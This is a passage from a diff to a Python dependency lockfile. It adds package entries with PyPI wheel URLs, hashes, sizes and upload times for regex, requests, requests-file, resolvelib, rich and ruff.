+    { url = "https://files.pythonhosted.org/packages/e7/53/7cd478222169d85d74d7437e74750005e993f52f335f7c04ff7adfda3310/regex-2026.1.15-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6d220a2517f5893f55daac983bfa9fe998a7dbcaee4f5d27a88500f8b7873788", size = 775782, upload-time = "2026-01-14T23:15:29.352Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/b5/75f9a9ee4b03a7c009fe60500fe550b45df94f0955ca29af16333ef557c5/regex-2026.1.15-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c9c08c2fbc6120e70abff5d7f28ffb4d969e14294fb2143b4b5c7d20e46d1714", size = 787978, upload-time = "2026-01-14T23:15:31.295Z" },
+    { url = "https://files.pythonhosted.org/packages/72/b3/79821c826245bbe9ccbb54f6eadb7879c722fd3e0248c17bfc90bf54e123/regex-2026.1.15-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ef7d5d4bd49ec7364315167a4134a015f61e8266c6d446fc116a9ac4456e10d", size = 858550, upload-time = "2026-01-14T23:15:33.558Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/85/2ab5f77a1c465745bfbfcb3ad63178a58337ae8d5274315e2cc623a822fa/regex-2026.1.15-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:6e42844ad64194fa08d5ccb75fe6a459b9b08e6d7296bd704460168d58a388f3", size = 763747, upload-time = "2026-01-14T23:15:35.206Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/84/c27df502d4bfe2873a3e3a7cf1bdb2b9cc10284d1a44797cf38bed790470/regex-2026.1.15-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cfecdaa4b19f9ca534746eb3b55a5195d5c95b88cac32a205e981ec0a22b7d31", size = 850615, upload-time = "2026-01-14T23:15:37.523Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/b7/658a9782fb253680aa8ecb5ccbb51f69e088ed48142c46d9f0c99b46c575/regex-2026.1.15-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:08df9722d9b87834a3d701f3fca570b2be115654dbfd30179f30ab2f39d606d3", size = 789951, upload-time = "2026-01-14T23:15:39.582Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/2a/5928af114441e059f15b2f63e188bd00c6529b3051c974ade7444b85fcda/regex-2026.1.15-cp313-cp313-win32.whl", hash = "sha256:d426616dae0967ca225ab12c22274eb816558f2f99ccb4a1d52ca92e8baf180f", size = 266275, upload-time = "2026-01-14T23:15:42.108Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/16/5bfbb89e435897bff28cf0352a992ca719d9e55ebf8b629203c96b6ce4f7/regex-2026.1.15-cp313-cp313-win_amd64.whl", hash = "sha256:febd38857b09867d3ed3f4f1af7d241c5c50362e25ef43034995b77a50df494e", size = 277145, upload-time = "2026-01-14T23:15:44.244Z" },
+    { url = "https://files.pythonhosted.org/packages/56/c1/a09ff7392ef4233296e821aec5f78c51be5e91ffde0d163059e50fd75835/regex-2026.1.15-cp313-cp313-win_arm64.whl", hash = "sha256:8e32f7896f83774f91499d239e24cebfadbc07639c1494bb7213983842348337", size = 270411, upload-time = "2026-01-14T23:15:45.858Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/38/0cfd5a78e5c6db00e6782fdae70458f89850ce95baa5e8694ab91d89744f/regex-2026.1.15-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:ec94c04149b6a7b8120f9f44565722c7ae31b7a6d2275569d2eefa76b83da3be", size = 492068, upload-time = "2026-01-14T23:15:47.616Z" },
+    { url = "https://files.pythonhosted.org/packages/50/72/6c86acff16cb7c959c4355826bbf06aad670682d07c8f3998d9ef4fee7cd/regex-2026.1.15-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40c86d8046915bb9aeb15d3f3f15b6fd500b8ea4485b30e1bbc799dab3fe29f8", size = 292756, upload-time = "2026-01-14T23:15:49.307Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/58/df7fb69eadfe76526ddfce28abdc0af09ffe65f20c2c90932e89d705153f/regex-2026.1.15-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:726ea4e727aba21643205edad8f2187ec682d3305d790f73b7a51c7587b64bdd", size = 291114, upload-time = "2026-01-14T23:15:51.484Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/6c/a4011cd1cf96b90d2cdc7e156f91efbd26531e822a7fbb82a43c1016678e/regex-2026.1.15-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1cb740d044aff31898804e7bf1181cc72c03d11dfd19932b9911ffc19a79070a", size = 807524, upload-time = "2026-01-14T23:15:53.102Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/25/a53ffb73183f69c3e9f4355c4922b76d2840aee160af6af5fac229b6201d/regex-2026.1.15-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:05d75a668e9ea16f832390d22131fe1e8acc8389a694c8febc3e340b0f810b93", size = 873455, upload-time = "2026-01-14T23:15:54.956Z" },
+    { url = "https://files.pythonhosted.org/packages/66/0b/8b47fc2e8f97d9b4a851736f3890a5f786443aa8901061c55f24c955f45b/regex-2026.1.15-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d991483606f3dbec93287b9f35596f41aa2e92b7c2ebbb935b63f409e243c9af", size = 915007, upload-time = "2026-01-14T23:15:57.041Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/fa/97de0d681e6d26fabe71968dbee06dd52819e9a22fdce5dac7256c31ed84/regex-2026.1.15-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:194312a14819d3e44628a44ed6fea6898fdbecb0550089d84c403475138d0a09", size = 812794, upload-time = "2026-01-14T23:15:58.916Z" },
+    { url = "https://files.pythonhosted.org/packages/22/38/e752f94e860d429654aa2b1c51880bff8dfe8f084268258adf9151cf1f53/regex-2026.1.15-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fe2fda4110a3d0bc163c2e0664be44657431440722c5c5315c65155cab92f9e5", size = 781159, upload-time = "2026-01-14T23:16:00.817Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/a7/d739ffaef33c378fc888302a018d7f81080393d96c476b058b8c64fd2b0d/regex-2026.1.15-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:124dc36c85d34ef2d9164da41a53c1c8c122cfb1f6e1ec377a1f27ee81deb794", size = 795558, upload-time = "2026-01-14T23:16:03.267Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/c4/542876f9a0ac576100fc73e9c75b779f5c31e3527576cfc9cb3009dcc58a/regex-2026.1.15-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a1774cd1981cd212506a23a14dba7fdeaee259f5deba2df6229966d9911e767a", size = 868427, upload-time = "2026-01-14T23:16:05.646Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/0f/d5655bea5b22069e32ae85a947aa564912f23758e112cdb74212848a1a1b/regex-2026.1.15-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:b5f7d8d2867152cdb625e72a530d2ccb48a3d199159144cbdd63870882fb6f80", size = 769939, upload-time = "2026-01-14T23:16:07.542Z" },
+    { url = "https://files.pythonhosted.org/packages/20/06/7e18a4fa9d326daeda46d471a44ef94201c46eaa26dbbb780b5d92cbfdda/regex-2026.1.15-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:492534a0ab925d1db998defc3c302dae3616a2fc3fe2e08db1472348f096ddf2", size = 854753, upload-time = "2026-01-14T23:16:10.395Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/67/dc8946ef3965e166f558ef3b47f492bc364e96a265eb4a2bb3ca765c8e46/regex-2026.1.15-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c661fc820cfb33e166bf2450d3dadbda47c8d8981898adb9b6fe24e5e582ba60", size = 799559, upload-time = "2026-01-14T23:16:12.347Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/61/1bba81ff6d50c86c65d9fd84ce9699dd106438ee4cdb105bf60374ee8412/regex-2026.1.15-cp313-cp313t-win32.whl", hash = "sha256:99ad739c3686085e614bf77a508e26954ff1b8f14da0e3765ff7abbf7799f952", size = 268879, upload-time = "2026-01-14T23:16:14.049Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/5e/cef7d4c5fb0ea3ac5c775fd37db5747f7378b29526cc83f572198924ff47/regex-2026.1.15-cp313-cp313t-win_amd64.whl", hash = "sha256:32655d17905e7ff8ba5c764c43cb124e34a9245e45b83c22e81041e1071aee10", size = 280317, upload-time = "2026-01-14T23:16:15.718Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/52/4317f7a5988544e34ab57b4bde0f04944c4786128c933fb09825924d3e82/regex-2026.1.15-cp313-cp313t-win_arm64.whl", hash = "sha256:b2a13dd6a95e95a489ca242319d18fc02e07ceb28fa9ad146385194d95b3c829", size = 271551, upload-time = "2026-01-14T23:16:17.533Z" },
+    { url = "https://files.pythonhosted.org/packages/52/0a/47fa888ec7cbbc7d62c5f2a6a888878e76169170ead271a35239edd8f0e8/regex-2026.1.15-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:d920392a6b1f353f4aa54328c867fec3320fa50657e25f64abf17af054fc97ac", size = 489170, upload-time = "2026-01-14T23:16:19.835Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/c4/d000e9b7296c15737c9301708e9e7fbdea009f8e93541b6b43bdb8219646/regex-2026.1.15-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:b5a28980a926fa810dbbed059547b02783952e2efd9c636412345232ddb87ff6", size = 291146, upload-time = "2026-01-14T23:16:21.541Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/b6/921cc61982e538682bdf3bdf5b2c6ab6b34368da1f8e98a6c1ddc503c9cf/regex-2026.1.15-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:621f73a07595d83f28952d7bd1e91e9d1ed7625fb7af0064d3516674ec93a2a2", size = 288986, upload-time = "2026-01-14T23:16:23.381Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/33/eb7383dde0bbc93f4fb9d03453aab97e18ad4024ac7e26cef8d1f0a2cff0/regex-2026.1.15-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3d7d92495f47567a9b1669c51fc8d6d809821849063d168121ef801bbc213846", size = 799098, upload-time = "2026-01-14T23:16:25.088Z" },
+    { url = "https://files.pythonhosted.org/packages/27/56/b664dccae898fc8d8b4c23accd853f723bde0f026c747b6f6262b688029c/regex-2026.1.15-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8dd16fba2758db7a3780a051f245539c4451ca20910f5a5e6ea1c08d06d4a76b", size = 864980, upload-time = "2026-01-14T23:16:27.297Z" },
+    { url = "https://files.pythonhosted.org/packages/16/40/0999e064a170eddd237bae9ccfcd8f28b3aa98a38bf727a086425542a4fc/regex-2026.1.15-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1e1808471fbe44c1a63e5f577a1d5f02fe5d66031dcbdf12f093ffc1305a858e", size = 911607, upload-time = "2026-01-14T23:16:29.235Z" },
+    { url = "https://files.pythonhosted.org/packages/07/78/c77f644b68ab054e5a674fb4da40ff7bffb2c88df58afa82dbf86573092d/regex-2026.1.15-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0751a26ad39d4f2ade8fe16c59b2bf5cb19eb3d2cd543e709e583d559bd9efde", size = 803358, upload-time = "2026-01-14T23:16:31.369Z" },
+    { url = "https://files.pythonhosted.org/packages/27/31/d4292ea8566eaa551fafc07797961c5963cf5235c797cc2ae19b85dfd04d/regex-2026.1.15-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0c7684c7f9ca241344ff95a1de964f257a5251968484270e91c25a755532c5", size = 775833, upload-time = "2026-01-14T23:16:33.141Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/b2/cff3bf2fea4133aa6fb0d1e370b37544d18c8350a2fa118c7e11d1db0e14/regex-2026.1.15-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:74f45d170a21df41508cb67165456538425185baaf686281fa210d7e729abc34", size = 788045, upload-time = "2026-01-14T23:16:35.005Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/99/2cb9b69045372ec877b6f5124bda4eb4253bc58b8fe5848c973f752bc52c/regex-2026.1.15-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f1862739a1ffb50615c0fde6bae6569b5efbe08d98e59ce009f68a336f64da75", size = 859374, upload-time = "2026-01-14T23:16:36.919Z" },
+    { url = "https://files.pythonhosted.org/packages/09/16/710b0a5abe8e077b1729a562d2f297224ad079f3a66dce46844c193416c8/regex-2026.1.15-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:453078802f1b9e2b7303fb79222c054cb18e76f7bdc220f7530fdc85d319f99e", size = 763940, upload-time = "2026-01-14T23:16:38.685Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/d1/7585c8e744e40eb3d32f119191969b91de04c073fca98ec14299041f6e7e/regex-2026.1.15-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:a30a68e89e5a218b8b23a52292924c1f4b245cb0c68d1cce9aec9bbda6e2c160", size = 850112, upload-time = "2026-01-14T23:16:40.646Z" },
+    { url = "https://files.pythonhosted.org/packages/af/d6/43e1dd85df86c49a347aa57c1f69d12c652c7b60e37ec162e3096194a278/regex-2026.1.15-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9479cae874c81bf610d72b85bb681a94c95722c127b55445285fb0e2c82db8e1", size = 789586, upload-time = "2026-01-14T23:16:42.799Z" },
+    { url = "https://files.pythonhosted.org/packages/93/38/77142422f631e013f316aaae83234c629555729a9fbc952b8a63ac91462a/regex-2026.1.15-cp314-cp314-win32.whl", hash = "sha256:d639a750223132afbfb8f429c60d9d318aeba03281a5f1ab49f877456448dcf1", size = 271691, upload-time = "2026-01-14T23:16:44.671Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/a9/ab16b4649524ca9e05213c1cdbb7faa85cc2aa90a0230d2f796cbaf22736/regex-2026.1.15-cp314-cp314-win_amd64.whl", hash = "sha256:4161d87f85fa831e31469bfd82c186923070fc970b9de75339b68f0c75b51903", size = 280422, upload-time = "2026-01-14T23:16:46.607Z" },
+    { url = "https://files.pythonhosted.org/packages/be/2a/20fd057bf3521cb4791f69f869635f73e0aaf2b9ad2d260f728144f9047c/regex-2026.1.15-cp314-cp314-win_arm64.whl", hash = "sha256:91c5036ebb62663a6b3999bdd2e559fd8456d17e2b485bf509784cd31a8b1705", size = 273467, upload-time = "2026-01-14T23:16:48.967Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/77/0b1e81857060b92b9cad239104c46507dd481b3ff1fa79f8e7f865aae38a/regex-2026.1.15-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:ee6854c9000a10938c79238de2379bea30c82e4925a371711af45387df35cab8", size = 492073, upload-time = "2026-01-14T23:16:51.154Z" },
+    { url = "https://files.pythonhosted.org/packages/70/f3/f8302b0c208b22c1e4f423147e1913fd475ddd6230565b299925353de644/regex-2026.1.15-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2c2b80399a422348ce5de4fe40c418d6299a0fa2803dd61dc0b1a2f28e280fcf", size = 292757, upload-time = "2026-01-14T23:16:53.08Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/f0/ef55de2460f3b4a6da9d9e7daacd0cb79d4ef75c64a2af316e68447f0df0/regex-2026.1.15-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:dca3582bca82596609959ac39e12b7dad98385b4fefccb1151b937383cec547d", size = 291122, upload-time = "2026-01-14T23:16:55.383Z" },
+    { url = "https://files.pythonhosted.org/packages/cf/55/bb8ccbacabbc3a11d863ee62a9f18b160a83084ea95cdfc5d207bfc3dd75/regex-2026.1.15-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef71d476caa6692eea743ae5ea23cde3260677f70122c4d258ca952e5c2d4e84", size = 807761, upload-time = "2026-01-14T23:16:57.251Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/84/f75d937f17f81e55679a0509e86176e29caa7298c38bd1db7ce9c0bf6075/regex-2026.1.15-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c243da3436354f4af6c3058a3f81a97d47ea52c9bd874b52fd30274853a1d5df", size = 873538, upload-time = "2026-01-14T23:16:59.349Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/d9/0da86327df70349aa8d86390da91171bd3ca4f0e7c1d1d453a9c10344da3/regex-2026.1.15-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8355ad842a7c7e9e5e55653eade3b7d1885ba86f124dd8ab1f722f9be6627434", size = 915066, upload-time = "2026-01-14T23:17:01.607Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/5e/f660fb23fc77baa2a61aa1f1fe3a4eea2bbb8a286ddec148030672e18834/regex-2026.1.15-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f192a831d9575271a22d804ff1a5355355723f94f31d9eef25f0d45a152fdc1a", size = 812938, upload-time = "2026-01-14T23:17:04.366Z" },
+    { url = "https://files.pythonhosted.org/packages/69/33/a47a29bfecebbbfd1e5cd3f26b28020a97e4820f1c5148e66e3b7d4b4992/regex-2026.1.15-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:166551807ec20d47ceaeec380081f843e88c8949780cd42c40f18d16168bed10", size = 781314, upload-time = "2026-01-14T23:17:06.378Z" },
+    { url = "https://files.pythonhosted.org/packages/65/ec/7ec2bbfd4c3f4e494a24dec4c6943a668e2030426b1b8b949a6462d2c17b/regex-2026.1.15-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f9ca1cbdc0fbfe5e6e6f8221ef2309988db5bcede52443aeaee9a4ad555e0dac", size = 795652, upload-time = "2026-01-14T23:17:08.521Z" },
+    { url = "https://files.pythonhosted.org/packages/46/79/a5d8651ae131fe27d7c521ad300aa7f1c7be1dbeee4d446498af5411b8a9/regex-2026.1.15-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b30bcbd1e1221783c721483953d9e4f3ab9c5d165aa709693d3f3946747b1aea", size = 868550, upload-time = "2026-01-14T23:17:10.573Z" },
+    { url = "https://files.pythonhosted.org/packages/06/b7/25635d2809664b79f183070786a5552dd4e627e5aedb0065f4e3cf8ee37d/regex-2026.1.15-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2a8d7b50c34578d0d3bf7ad58cde9652b7d683691876f83aedc002862a35dc5e", size = 769981, upload-time = "2026-01-14T23:17:12.871Z" },
+    { url = "https://files.pythonhosted.org/packages/16/8b/fc3fcbb2393dcfa4a6c5ffad92dc498e842df4581ea9d14309fcd3c55fb9/regex-2026.1.15-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9d787e3310c6a6425eb346be4ff2ccf6eece63017916fd77fe8328c57be83521", size = 854780, upload-time = "2026-01-14T23:17:14.837Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/38/dde117c76c624713c8a2842530be9c93ca8b606c0f6102d86e8cd1ce8bea/regex-2026.1.15-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:619843841e220adca114118533a574a9cd183ed8a28b85627d2844c500a2b0db", size = 799778, upload-time = "2026-01-14T23:17:17.369Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/0d/3a6cfa9ae99606afb612d8fb7a66b245a9d5ff0f29bb347c8a30b6ad561b/regex-2026.1.15-cp314-cp314t-win32.whl", hash = "sha256:e90b8db97f6f2c97eb045b51a6b2c5ed69cedd8392459e0642d4199b94fabd7e", size = 274667, upload-time = "2026-01-14T23:17:19.301Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/b2/297293bb0742fd06b8d8e2572db41a855cdf1cae0bf009b1cb74fe07e196/regex-2026.1.15-cp314-cp314t-win_amd64.whl", hash = "sha256:5ef19071f4ac9f0834793af85bd04a920b4407715624e40cb7a0631a11137cdf", size = 284386, upload-time = "2026-01-14T23:17:21.231Z" },
+    { url = "https://files.pythonhosted.org/packages/95/e4/a3b9480c78cf8ee86626cb06f8d931d74d775897d44201ccb813097ae697/regex-2026.1.15-cp314-cp314t-win_arm64.whl", hash = "sha256:ca89c5e596fc05b015f27561b3793dc2fa0917ea0d7507eebb448efd35274a70", size = 274837, upload-time = "2026-01-14T23:17:23.146Z" },
+]
+
+[[package]]
+name = "requests"
+version = "2.32.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "certifi" },
+    { name = "charset-normalizer" },
+    { name = "idna" },
+    { name = "urllib3" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" },
+]
+
+[[package]]
+name = "requests-file"
+version = "3.0.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "requests" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/3c/f8/5dc70102e4d337063452c82e1f0d95e39abfe67aa222ed8a5ddeb9df8de8/requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576", size = 6967, upload-time = "2025-10-20T18:56:42.279Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e1/d5/de8f089119205a09da657ed4784c584ede8381a0ce6821212a6d4ca47054/requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2", size = 4514, upload-time = "2025-10-20T18:56:41.184Z" },
+]
+
+[[package]]
+name = "resolvelib"
+version = "1.0.1"
+source = { registry = "https://pypi.org/simple" }
+resolution-markers = [
+    "python_full_version < '3.11'",
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ce/10/f699366ce577423cbc3df3280063099054c23df70856465080798c6ebad6/resolvelib-1.0.1.tar.gz", hash = "sha256:04ce76cbd63fded2078ce224785da6ecd42b9564b1390793f64ddecbe997b309", size = 21065, upload-time = "2023-03-09T05:10:38.292Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d2/fc/e9ccf0521607bcd244aa0b3fbd574f71b65e9ce6a112c83af988bbbe2e23/resolvelib-1.0.1-py2.py3-none-any.whl", hash = "sha256:d2da45d1a8dfee81bdd591647783e340ef3bcb104b54c383f70d422ef5cc7dbf", size = 17194, upload-time = "2023-03-09T05:10:36.214Z" },
+]
+
+[[package]]
+name = "resolvelib"
+version = "1.2.1"
+source = { registry = "https://pypi.org/simple" }
+resolution-markers = [
+    "python_full_version >= '3.12'",
+    "python_full_version == '3.11.*'",
+]
+sdist = { url = "https://files.pythonhosted.org/packages/1d/14/4669927e06631070edb968c78fdb6ce8992e27c9ab2cde4b3993e22ac7af/resolvelib-1.2.1.tar.gz", hash = "sha256:7d08a2022f6e16ce405d60b68c390f054efcfd0477d4b9bd019cc941c28fad1c", size = 24575, upload-time = "2025-10-11T01:07:44.582Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e2/23/c941a0d0353681ca138489983c4309e0f5095dfd902e1357004f2357ddf2/resolvelib-1.2.1-py3-none-any.whl", hash = "sha256:fb06b66c8da04172d9e72a21d7d06186d8919e32ae5ab5cdf5b9d920be805ac2", size = 18737, upload-time = "2025-10-11T01:07:43.081Z" },
+]
+
+[[package]]
+name = "rich"
+version = "14.3.3"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "markdown-it-py" },
+    { name = "pygments" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b3/c6/f3b320c27991c46f43ee9d856302c70dc2d0fb2dba4842ff739d5f46b393/rich-14.3.3.tar.gz", hash = "sha256:b8daa0b9e4eef54dd8cf7c86c03713f53241884e814f4e2f5fb342fe520f639b", size = 230582, upload-time = "2026-02-19T17:23:12.474Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/14/25/b208c5683343959b670dc001595f2f3737e051da617f66c31f7c4fa93abc/rich-14.3.3-py3-none-any.whl", hash = "sha256:793431c1f8619afa7d3b52b2cdec859562b950ea0d4b6b505397612db8d5362d", size = 310458, upload-time = "2026-02-19T17:23:13.732Z" },
+]
+
+[[package]]
+name = "ruff"
+version = "0.15.18"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/74/98/1295ad5a5aa9bc85bdcdfa5d82fe7b49c61af5657df4f227637ff9de0da6/ruff-0.15.18.tar.gz", hash = "sha256:2698a964c70e8bf402dcb99c8810472d270d141e7aa8c4e13599fd52033a2f33", size = 4761437, upload-time = "2026-06-18T18:25:39.224Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b9/d0/686e984941269621e2be72612d5c1e461f8f7b38415a2a7d7a81c8ae6715/ruff-0.15.18-py3-none-linux_armv6l.whl", hash = "sha256:8b6850172348c8381b8b3084c5915a4393c2373b9b54cd5b5e1ea15812bc10df", size = 10887308, upload-time = "2026-06-18T18:25:03.062Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/21/bc4123e3f5515ee99f8ce1eb93a14a0628fe4d1678663cd08f933ac16931/ruff-0.15.18-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:3fccc153a85417dcd976883160cacce486997b0a0058dd18f54b8aaaac7d1ce2", size = 11281305, upload-time = "2026-06-18T18:25:30.026Z" },
+    { url = "https://files.pythonhosted.org/packages/51/93/4769464c25cf7ab2acb3c7dda9cad3d867eb41c59565b3e2a9d17249c90c/ruff-0.15.18-py3-none-macosx_11_0_arm64.whl", hash = "sha256:08d4c86a68f2c3ec2c9d56380a71fb4a4f65373055cbb8caabd645e9102f38d4", size = 10641215, upload-time = "2026-06-18T18:25:15.802Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/42/56926d17120db2c208d76bf60a1a019644dd9e91dc27f0f95c9caddb1366/ruff-0.15.18-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:37e5108745c2c0705da916d7d4de533ddf547051ef45f62888c31bae73f66318", size = 10957224, upload-time = "2026-06-18T18:25:36.955Z" },
+    { url = "https://files.pythonhosted.org/packages/22/4f/d43fab8d8189afde803103022d000a8ef9f230616d436d52a8b2b8d63b50/ruff-0.15.18-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:56949a6ce8b3abde54c0bcb22cebfe57e8771cadc84b407ae8b8eaf67ebdcd43", size = 10699024, upload-time = "2026-06-18T18:25:05.707Z" },
+    { url = "https://files.pythonhosted.org/packages/63/42/1e3e4c68bd408b9768cf3e439acbe2c78245225faef253f7028a0cdb63e0/ruff-0.15.18-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01a754cd6a1b630d3f97e33eb452cf7a98040482318e870f8bc52a5a30e62657", size = 11491458, upload-time = "2026-06-18T18:25:20.275Z" },
+    { url = "https://files.pythonhosted.org/packages/20/77/47a3484bea8521e14a203d98c389c5c97846675e4f02734672da4a69b52a/ruff-0.15.18-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6ba7a07e03a44dbf10bb086ee06705b173625014ec99f73a7e6836a5e5590a0c", size = 12383752, upload-time = "2026-06-18T18:25:22.535Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/ca/054159590787023d83b658a1a1819c4c8910114e7015069340b71c0961cb/ruff-0.15.18-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5a2c40a41a4cadbcf5897b548ab29dfe248b20c540961c0247d98a3973c70403", size = 11577923, upload-time = "2026-06-18T18:25:10.702Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/ff/d353d6b7bbd73cc0ec37f4463d7540e45e894338abdd9964eee0de332708/ruff-0.15.18-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f0480ce690cbb6c4db6e5d08f19fce98e10ba131a8b60c1bcdac42771e3ae2d", size = 11583925, upload-time = "2026-06-18T18:25:32.391Z" },
